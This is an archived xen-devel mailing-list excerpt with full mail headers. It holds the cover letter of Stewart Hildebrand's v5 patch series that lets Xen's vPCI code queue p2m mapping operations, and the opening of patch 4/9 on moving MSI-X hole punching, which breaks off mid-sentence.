Delivery-date: Wed, 08 Jul 2026 21:03:52 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357346.1611752 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whZQj-0003Bn-N0; Wed, 08 Jul 2026 21:03:41 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357346.1611752; Wed, 08 Jul 2026 21:03:41 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whZQj-0003Bd-J3; Wed, 08 Jul 2026 21:03:41 +0000
Received: by outflank-mailman (input) for mailman id 1357346;
 Wed, 08 Jul 2026 21:03:40 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <Stewart.Hildebrand@amd.com>) id 1whZQi-0003BP-21
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 21:03:40 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whZQh-001FOW-87
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 23:03:39 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <Stewart.Hildebrand@amd.com>)
 id 6a4ebb18-5cb7-0a2a0a5109dd-0a2a4506bcd2-16
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 23:03:38 +0200
Received: from [40.107.200.0]
 (helo=CH5PR02CU005.outbound.protection.outlook.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <Stewart.Hildebrand@amd.com>)
 id 6a4ebb29-08de-0a2a45060019-286bc8004b52-3
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 23:03:38 +0200
Received: from DS1PR07CA0020.namprd07.prod.outlook.com (2603:10b6:8:44d::18)
 by MW6PR12MB8707.namprd12.prod.outlook.com (2603:10b6:303:241::5) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.8; Wed, 8 Jul 2026
 21:03:33 +0000
Received: from CY4PEPF0000E9D9.namprd05.prod.outlook.com
 (2603:10b6:8:44d:cafe::8b) by DS1PR07CA0020.outlook.office365.com
 (2603:10b6:8:44d::18) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.202.10 via Frontend Transport; Wed, 8
 Jul 2026 21:03:33 +0000
Received: from satlexmb08.amd.com (165.204.84.17) by
 CY4PEPF0000E9D9.mail.protection.outlook.com (10.167.241.72) with Microsoft
 SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.21.181.6 via Frontend Transport; Wed, 8 Jul 2026 21:03:32 +0000
Received: from Satlexmb09.amd.com (10.181.42.218) by satlexmb08.amd.com
 (10.181.42.217) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Wed, 8 Jul
 2026 16:03:10 -0500
Received: from ubuntu (10.180.168.240) by satlexmb09.amd.com (10.181.42.218)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Wed, 8 Jul
 2026 14:02:46 -0700
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=amd.com header.i="@amd.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=Ds+Jnw6+Y13cP7or4zEp/SX7EBS0nFidmJBUFtYLuYJSuHClAbFlWGtVBofhERrjKgtBPQFQkohFVTNeUbTluBG9MRkj4q7HRCN4OzDJQu+7hJWqUFb4by+VYNVqjuPlEbJINND4QEyWK1vXsZZrsShOyBqZ557PlvYFgdKKeg3vKj3qnb+T14jKe4nn923LRpF+yixi9/mxni4B6m1FHFGOu1aBI5YP2x5F96vIov83Q8WA0nFkfr8s2EOfNRTPE6xkxbcYq8N/SNLBTBTJ721tXCwHfNpxY8yvAfTQz0Dsbmu6hsoEa4qCDRFAWY9k5nBPnY/TsT+0gJlFcriVtw==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=Re+/NsS2fHCdtWKJR3e8eS6UfUmnYG0QhSgvKlhrUAw=;
 b=kOlUj9EZae2C+xc/H2eKbUT+oYXGm2iA/f9sNoMJavMR1LxGEF2GWhdd6EXL+k62GCWUIlqr6zpfeJvs4eEE4wXkYTJBVqrpEfCAGpaT1yG9Jwxur+LE4kNc74lpyQCKxTox2CaxhYdRK3VZjR4pNPzLka9r2n596pD+xIk662v1SIAayleBkATflxE0LYXkuVqvJ+dwR3yTv/cKAbH4iheMyCtux2qJQGw/HOy/zjewmP5yztnZYTw0jvTbG4TJRf264EPoBsTsFeMGYPZ+REaeXFt5j+cqzeRwfe9jMIM0xksVpOrAJsqEp/+Yz9y5P+GaPtHF8oW2mC6P7b4+vQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 165.204.84.17) smtp.rcpttodomain=lists.xenproject.org smtp.mailfrom=amd.com;
 dmarc=pass (p=quarantine sp=quarantine pct=100) action=none
 header.from=amd.com; dkim=none (message not signed); arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=amd.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=Re+/NsS2fHCdtWKJR3e8eS6UfUmnYG0QhSgvKlhrUAw=;
 b=a6N+z8XSfbr5oPkHAZ7eTa7FF/k3TdJLQhfsNYClTQQWy38cmyJ37Sxl02pyDyUQ21sWCz0YmYB36Nv3ZdTK+lNhMLzKITUDzFTxRl8ESlWvQbHlCvkPFan5l/ADC+dmRq7sQv06d6jE60SRhu7CNGWOdbiqL8wAkOl8xdXwq7c=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 165.204.84.17)
 smtp.mailfrom=amd.com; dkim=none (message not signed)
 header.d=none;dmarc=pass action=none header.from=amd.com;
Received-SPF: Pass (protection.outlook.com: domain of amd.com designates
 165.204.84.17 as permitted sender) receiver=protection.outlook.com;
 client-ip=165.204.84.17; helo=satlexmb08.amd.com; pr=C
From: Stewart Hildebrand <stewart.hildebrand@amd.com>
To: <xen-devel@lists.xenproject.org>
CC: Stewart Hildebrand <stewart.hildebrand@amd.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>, "Daniel P.
 Smith" <dpsmith@apertussolutions.com>, Andrew Cooper
	<andrew.cooper3@citrix.com>, Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>, Jan Beulich <jbeulich@suse.com>, "Julien
 Grall" <julien@xen.org>, Stefano Stabellini <sstabellini@kernel.org>
Subject: [PATCH v5 0/9] vpci: allow queueing of mapping operations
Date: Wed, 8 Jul 2026 17:02:15 -0400
Message-ID: <20260708210233.922275-1-stewart.hildebrand@amd.com>
X-Mailer: git-send-email 2.54.0
MIME-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
X-Originating-IP: [10.180.168.240]
X-ClientProxiedBy: satlexmb07.amd.com (10.181.42.216) To satlexmb09.amd.com
 (10.181.42.218)
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: CY4PEPF0000E9D9:EE_|MW6PR12MB8707:EE_
X-MS-Office365-Filtering-Correlation-Id: 545fb8b2-e277-48aa-2309-08dedd345e7b
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|23010399003|82310400026|36860700016|1800799024|376014|18002099003|13003099007|56012099006|11063799006;
X-Microsoft-Antispam-Message-Info:
	zg5+ildCoGEyLggKOX8af2i0031h6E0NDmTN60AV0gOd1UvqIEMit99sk3QMEG3f4gftrhTp93htU77hOLVzOVbK1HRX/O5O53T/mSOBpzVBE+Nhop3JR7lnBJFwg6AucUznlBoNwXFUwLsVBb+DGp4t+HJPjhHhK3WvVpR0ViNBRDHfZGTE8rtkFThjWA9/AaUaT3R8xM6a0kwH2+gRH7qGKS61JtHmOsUOt9RbeoJGnYJagyFf6/vyMX/A0Ryg7iloWJJ0/Cr35zQYyQbgyAKPvo7J3+OdVGp/Hhn88EKNk4CR/CS00NuEwn9g0OfXPxkfWpkLzel/tiR4ZyPBZ+x77fy4n4CQdgXw2aCnK1O2BXz2LVTp9O97OpO+vYZoimPGF7/OOnO/3PmtBRYhAAaYb5QEtXRy/LlGGkzSxi17SRiknqCrxM1zzx5BHNOXFubGXJxAMoLmXr+kJzEwhilSxmlD5q7P/MLojDzTHzUh5HZEBvPwvzu3/DPRqJg3VANEegZnct+PFAg8f+dwxkz+neewuraCrL7w6+1LgvX3l6lZRkKEJXlk44r93e2h0fuwuFZJN1Lr6qThGR8X9xqfDCNKiaJIKMg4REpvfxO4iRTc0LHT1nJMsZVsysC95KUZHuQwgYyqdGVONcSDn5URoM3i5iqdaIFHca//mKk=
X-Forefront-Antispam-Report:
	CIP:165.204.84.17;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:satlexmb08.amd.com;PTR:InfoDomainNonexistent;CAT:NONE;SFS:(13230040)(23010399003)(82310400026)(36860700016)(1800799024)(376014)(18002099003)(13003099007)(56012099006)(11063799006);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	7A0U8J8/ZGIb06OO9NBzy0gPDsFDnABPpWkXVw3Xw4f6Q2a3Jr7izxUcu0jtqls/2BrTiA0936Rxtcqlr12CKEJO9eq0qozrj3nQPqdU6khcqMZJVKlvof4ybbqw4LoCPS0TvqCQWrOyBHbhdwvWSTqXt5QI9t6VSynE29Tlun2CBKS1srIe64W94+2ow8ZuT1dH0AeuuXn6IFLc85yooOxO8slg/Y5c0TB8VbeklYvctZLxwRFGSB2pL1/g4t4fVxVKWaQ3JGFMXvHaEJLpN84GBqV4st89C4zYde0+4KiSCyxrRgkJfr3JRGAiyPjeVtNHMEBYP0+89fpcwS3n2PsEiH++CRdNm+B5gxxyG2o15J/JSigpMfRbRtcL3lkmno+VvC0LQaxGW2gpX5yeoy3UAG2MV9VvX6X7SI2KDSoIljmchmczSJkJdztsNtTS
X-OriginatorOrg: amd.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 08 Jul 2026 21:03:32.5510
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: 545fb8b2-e277-48aa-2309-08dedd345e7b
X-MS-Exchange-CrossTenant-Id: 3dd8961f-e488-4e60-8e11-a82d994e183d
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=3dd8961f-e488-4e60-8e11-a82d994e183d;Ip=[165.204.84.17];Helo=[satlexmb08.amd.com]
X-MS-Exchange-CrossTenant-AuthSource:
	CY4PEPF0000E9D9.namprd05.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: MW6PR12MB8707
X-purgate-ID: tlsNG-16d1c6/1783544618-F93EC68D-F9F71883/0/0
X-purgate-type: clean
X-purgate-size: 4448

Introduce the ability to queue p2m mapping operations in vPCI. This is
pre-requisite for both vPCI SR-IOV [2] and the ability to handle BAR writes
with memory decoding enabled [1]. I thought I might wait to submit the BAR-
write-with-memory-decoding-enabled patch until the prerequisite is reviewed
acked/merged, but if you'd find it more helpful for me to submit it right away
I'd be happy to do so (I've already pushed it to the gitlab pipeline [0]).

When multiple operations are queued, there are some non-trivial complexities
with the deferred setting of bar->enabled, header->rom_enabled, and
header->bars_mapped flags. If deferred, these flags wouldn't be updated until
the p2m op queue is processing, but we need to consult them in modify_bars()
at queue time, so they wouldn't be accurate when adding multiple tasks to the
queue. In order to simplify the deferred mapping state, and in particular
avoid complexities with the bar->enabled, header->rom_enabled, and
header->bars_mapped flags, I have picked up Roger's vPCI fixes series [3]. The
overall result is now that _only_ p2m operations are deferred. PCI config
space writes, flag-setting, and everything else is handled at queuing time.

1. vpci: move BAR mapping permissions checks
2. vpci: make BAR mapping more resilient for the hardware domain
3. vpci: only check BAR validity once
4. vpci/msix: move MSI-X hole punching as a result of memory decoding enable
5. vpci: simplify handling of memory decoding and ROM enable writes
6. vpci: create mem local variables
7. vpci: split vpci_process_pending()
8. vpci: allow queueing of mapping operations
9. vpci: don't pass command value to modify_bars()

Patch 1 is code movement, and patch 2 is hardening map_range(). While these
 first 2 are not strictly pre-requisites for queued mapping, they simplify the
 subsequent prepwork.
Patches 3-5 progressively remove modify_decoding().
Patches 6-7 are non-functional changes pulled out from patch 8.
Patch 8 is the core feature: pre-requisite for SR-IOV and BAR-write-with-
 memory-decoding-enabled.
Patch 9 is cleanup I chose to put at the end for lower diffstat.

Patches 2-5 are borrowed from Roger's vPCI fixes series [3]. These patches
have gone directly from v1 to v5, but otherwise revlogs are written assuming
this is a continuation of the BAR-write-with-memory-decoding-enabled series.

v4->v5:
* don't defer anything that's not p2m related
* drop ("vpci: allow 32-bit BAR writes with memory decoding enabled") for now
  to focus on the pre-requisite patches first
* split non-functional changes

v3->v4:
* switch back to dynamically allocated queue elements

v2->v3:
* add ("vpci: Use pervcpu ranges for BAR mapping")
* rework with fixed array of map/unmap slots

v1->v2:
* new approach with queued p2m operations

RFC->v1:
* rework BAR mapping machinery to support unmap-then-map operation

[0] Pipeline: https://gitlab.com/xen-project/people/stewarthildebrand/xen/-/pipelines/2662651745

[1] BAR write with memory decoding enabled
v4: https://lore.kernel.org/xen-devel/20260406191203.97662-1-stewart.hildebrand@amd.com/T/#t
v3: https://lore.kernel.org/xen-devel/20260324030513.700217-1-stewart.hildebrand@amd.com/T/#t
v2: https://lore.kernel.org/xen-devel/20250723163744.13095-1-stewart.hildebrand@amd.com/T/#t
v1: https://lore.kernel.org/xen-devel/20250531125405.268984-1-stewart.hildebrand@amd.com/T/#t
RFC: https://lore.kernel.org/xen-devel/20250312195019.382926-1-stewart.hildebrand@amd.com/T/#t
Gitlab: https://gitlab.com/xen-project/xen/-/issues/197

[2] vPCI SR-IOV
v3: https://lore.kernel.org/xen-devel/cover.1775742115.git.mykyta_poturai@epam.com/T/#t
v2: https://lore.kernel.org/xen-devel/cover.1772806036.git.mykyta_poturai@epam.com/T/#t
v1: https://lore.kernel.org/xen-devel/cover.1753450965.git.mykyta_poturai@epam.com/T/#t
2018 v2 https://lore.kernel.org/xen-devel/20180717094830.54806-1-roger.pau@citrix.com/T/#t

[3] vPCI miscellaneous fixes
https://lore.kernel.org/xen-devel/20250814160358.95543-1-roger.pau@citrix.com/T/#t


 xen/common/domain.c        |   5 +
 xen/drivers/vpci/header.c  | 443 +++++++++++++++++++++----------------
 xen/drivers/vpci/private.h |   1 +
 xen/drivers/vpci/vpci.c    |  17 +-
 xen/include/xen/vpci.h     |  15 +-
 5 files changed, 279 insertions(+), 202 deletions(-)


base-commit: 03851197a7b2cd58851b9ec2293bdf4a68c47b66
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Wed Jul 08 21:03:52 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 08 Jul 2026 21:03:52 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357348.1611770 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whZQl-0003bH-9J; Wed, 08 Jul 2026 21:03:43 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357348.1611770; Wed, 08 Jul 2026 21:03:43 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whZQl-0003bA-5m; Wed, 08 Jul 2026 21:03:43 +0000
Received: by outflank-mailman (input) for mailman id 1357348;
 Wed, 08 Jul 2026 21:03:41 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <Stewart.Hildebrand@amd.com>) id 1whZQj-0003Bb-El
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 21:03:41 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whZQi-001FOW-Rv
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 23:03:40 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <Stewart.Hildebrand@amd.com>)
 id 6a4ebb18-5cb7-0a2a0a5109dd-0a2a4506bcd2-26
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 23:03:40 +0200
Received: from [52.101.61.59]
 (helo=DM1PR04CU001.outbound.protection.outlook.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <Stewart.Hildebrand@amd.com>)
 id 6a4ebb2b-08de-0a2a45060019-34653d3b3f23-3
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 23:03:40 +0200
Received: from CH0P221CA0026.NAMP221.PROD.OUTLOOK.COM (2603:10b6:610:11d::6)
 by DM6PR12MB4435.namprd12.prod.outlook.com (2603:10b6:5:2a6::23) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.14; Wed, 8 Jul
 2026 21:03:36 +0000
Received: from CH3PEPF0000000C.namprd04.prod.outlook.com
 (2603:10b6:610:11d:cafe::16) by CH0P221CA0026.outlook.office365.com
 (2603:10b6:610:11d::6) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.202.10 via Frontend Transport; Wed, 8
 Jul 2026 21:03:36 +0000
Received: from satlexmb08.amd.com (165.204.84.17) by
 CH3PEPF0000000C.mail.protection.outlook.com (10.167.244.39) with Microsoft
 SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.21.181.6 via Frontend Transport; Wed, 8 Jul 2026 21:03:36 +0000
Received: from Satlexmb09.amd.com (10.181.42.218) by satlexmb08.amd.com
 (10.181.42.217) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Wed, 8 Jul
 2026 16:03:35 -0500
Received: from ubuntu (10.180.168.240) by satlexmb09.amd.com (10.181.42.218)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Wed, 8 Jul
 2026 14:03:35 -0700
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=amd.com header.i="@amd.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=m8Qei/p0jHBxVkppaYSnNj2hwlvYj61LHN9PG9QzAb5uDaFegy+CirUSa+kOC58H4qTT25EYOcp3VRfTk4cd8UKlCAqT3NnLK13m4BmqWOUlVDBLXfsxyadHQDKGlxE6fKHjjYtQHjjXB1BLCwSE27iHKMb6FDVQSBzfP7SDZ9guBLO0umV7GAjAdGa5MwydI8x4ZvKYXZEDquFxFc269Dz6ple9z2OZc2YPKLExVf3e9yGfrC9joaZYYcXwVKDvEVunkv/u8m4BOU6RgYSzYZT8Ur6djQjXDekv+U8yUOqIyTDo/fsdJvU0FKDmE3W9CDeUfy0EZJUkSD93K2GOgA==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=gcreZ/yNtHeipp+IQwqa98GHDSr0hRONrQURcLHiG7E=;
 b=HOgt5qZEI5C5QHPu07RmSKBb192DvLpmVVWFHsqz7O01ljRTeJLqAiIKvk8he+r8Fku0aeo4IQ8IVz5D2Y/AF1yuXjUa55IqsaiUUJ2FwThnK99M5zLoCiS6pmtYROgoLB2PyJFtEowrCXaYJ0MZXvRjQ+hrTMFSxFR9WD0fTRicl13mdqI8mV3/XUArSbCxWEsNCXFWYjvLOmXDxftTIi3sNYHWY2CsfoYVCTewWk+vg4WUuMqVMbmRJbKXG90f04fe480QKMmdZpIMkZwpNdP5hK8fFLrYd3F21qbRkOBgXyipuNVYZnuR775SWDCYQkyPSsYKShfILlv4L03/dw==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 165.204.84.17) smtp.rcpttodomain=lists.xenproject.org smtp.mailfrom=amd.com;
 dmarc=pass (p=quarantine sp=quarantine pct=100) action=none
 header.from=amd.com; dkim=none (message not signed); arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=amd.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=gcreZ/yNtHeipp+IQwqa98GHDSr0hRONrQURcLHiG7E=;
 b=jNU0tXHPcDcstPRTzyN2/hTZbCdbHANW/jLfnX1ojOEFVBr/PJROuCq1GIlsbziRJPcF7oWXWkYiBhGMoE9yUrniakDvb/mX7DJokLoIytvLHz5mKotFTuQDq1FDC1tgdDgTTtP4fs+VIEb8GBMMcxnyTffVJGCh3/UKC4Ikfmc=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 165.204.84.17)
 smtp.mailfrom=amd.com; dkim=none (message not signed)
 header.d=none;dmarc=pass action=none header.from=amd.com;
Received-SPF: Pass (protection.outlook.com: domain of amd.com designates
 165.204.84.17 as permitted sender) receiver=protection.outlook.com;
 client-ip=165.204.84.17; helo=satlexmb08.amd.com; pr=C
From: Stewart Hildebrand <stewart.hildebrand@amd.com>
To: <xen-devel@lists.xenproject.org>
CC: Roger Pau Monne <roger.pau@citrix.com>, Stewart Hildebrand
	<stewart.hildebrand@amd.com>
Subject: [PATCH v5 4/9] vpci/msix: move MSI-X hole punching as a result of memory decoding enable
Date: Wed, 8 Jul 2026 17:02:19 -0400
Message-ID: <20260708210233.922275-5-stewart.hildebrand@amd.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <20260708210233.922275-1-stewart.hildebrand@amd.com>
References: <20260708210233.922275-1-stewart.hildebrand@amd.com>
MIME-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
X-Originating-IP: [10.180.168.240]
X-ClientProxiedBy: satlexmb07.amd.com (10.181.42.216) To satlexmb09.amd.com
 (10.181.42.218)
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: CH3PEPF0000000C:EE_|DM6PR12MB4435:EE_
X-MS-Office365-Filtering-Correlation-Id: 84d4b59f-4dd8-4687-66ac-08dedd34608c
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|1800799024|36860700016|376014|82310400026|23010399003|13003099007|18002099003|22082099003|6133799003|5023799004|56012099006|11063799006;
X-Microsoft-Antispam-Message-Info:
	nTJloavw2r/OWjTKnO87BfrHsBsF3i3Qy1iciNJ+EuKy0DRU6+rrnrg/Gs5iF05hCGa0Px2oEjfiOlxxiHc16tpod1mXUtkbzeBQT8xOHQG01jn8TX8Ysqo4RvayBQu6BlSmsBR0LEk7Ym8bq4qVcKIQ7wRnSQVhmgOX57HN5ZkqHzJPxfFkO0dDqx9eBt7OHzV+MvMyljiwDZ9W5C/Gdsb3zQPdfHugVahj4KiqrS6upqLyy88t5dSmDvu4D27nNYRNR6gq/YRoKrmWp8qgtQ22s+0f3vElXO52w57XuG6kvbYmO4s5I9WpI4aO1tHmMTZplsgmjOI/B/dM0xAmweKD1fw7Gu/miBbimb0TsoM0Pl8Nz4sa2lVaoGzVBccX9v8VAnrxsj0AT1Bs0iGtpPbSuWRCWNbktcbF+fcATL6512q7CJMbVKQ5B70/He8c6SzfdSnH3A9OnaHG0kb27fLfQB7X09UQvJXCtFYTUmvt2gGGqaItt1l+T8hUvx8EczN9JaeRBIpqlJRKpt6Djq5HkNCnQdFsJWz8SS4qZ8k9I+bszs+oAcG8p6MlRiVrhCPNpzeNfEydRqve/m1BJIfG2BvTgKaFe+x3/S0emcXy9braB+2NeNWnXhFf+0ShYcuyKH5jpyhtIrI1MPL18Ui4YLlxxe4RhwyhPuyz1zOAmqmqheCxmxWvAB8g+Rpyhk0+ddTQYiSq0oqLoKKYyA==
X-Forefront-Antispam-Report:
	CIP:165.204.84.17;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:satlexmb08.amd.com;PTR:InfoDomainNonexistent;CAT:NONE;SFS:(13230040)(1800799024)(36860700016)(376014)(82310400026)(23010399003)(13003099007)(18002099003)(22082099003)(6133799003)(5023799004)(56012099006)(11063799006);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	GloOGldQnjkyzuD6i1217oRt2UlaGYTJaXvKxYAyXK4jgbanu+LquN2e0iLMYjC/sm5i+LyBzSUfV/qQkIAnj3CSOWrQGU5VyQJbDuM/yRZohUmrLuGZeZe4uGKad+Io/PA9LP/Rnc+H+rwL63N8AUSVrkxvTPBo4zWy06b3l9zRI9buxiYkRkYgTTbI7f+L+ri1LKc24VSUFO9Tc0RSdhR4c06QrbAmumE9pdB/4SdNPqFC22oohzQTyfcZGYSgCy9tICp0kp6/D2c71gyvAmy3FewY/puTXaOs9gtsz8zcEYsfrVGd+pqs24CWEGb4bUGF7aPRrV/rdxvJwjHvlW8ijNaubwA7x6kpisLaSDnPnMu0dFmsAzTJekMf17XL09PfQzg/nAoMwXCjib33HuI7XEGsigwf/7qDFWTmTW1U5kGScTyGHGR0roE8p7Fx
X-OriginatorOrg: amd.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 08 Jul 2026 21:03:36.0791
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: 84d4b59f-4dd8-4687-66ac-08dedd34608c
X-MS-Exchange-CrossTenant-Id: 3dd8961f-e488-4e60-8e11-a82d994e183d
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=3dd8961f-e488-4e60-8e11-a82d994e183d;Ip=[165.204.84.17];Helo=[satlexmb08.amd.com]
X-MS-Exchange-CrossTenant-AuthSource:
	CH3PEPF0000000C.namprd04.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: DM6PR12MB4435
X-purgate-ID: tlsNG-16d1c6/1783544620-F81E568D-655A63EA/0/0
X-purgate-type: clean
X-purgate-size: 4042

From: Roger Pau Monne <roger.pau@citrix.com>

Deferring the p2m unpopulate of the MSI-X table region to after the BARs are
mapped in the p2m is not needed.  The aim of vpci_make_msix_hole() is to
cope with the BAR containing the MSI-X table being positioned over a
reserved e820 region, by making sure the MSI-X table region is
unpopulated on the p2m. Note that reserved e820 regions are identity mapped
in the hardware domain p2m by default.

Doing it before or after the BAR p2m changes are done is irrelevant, hence
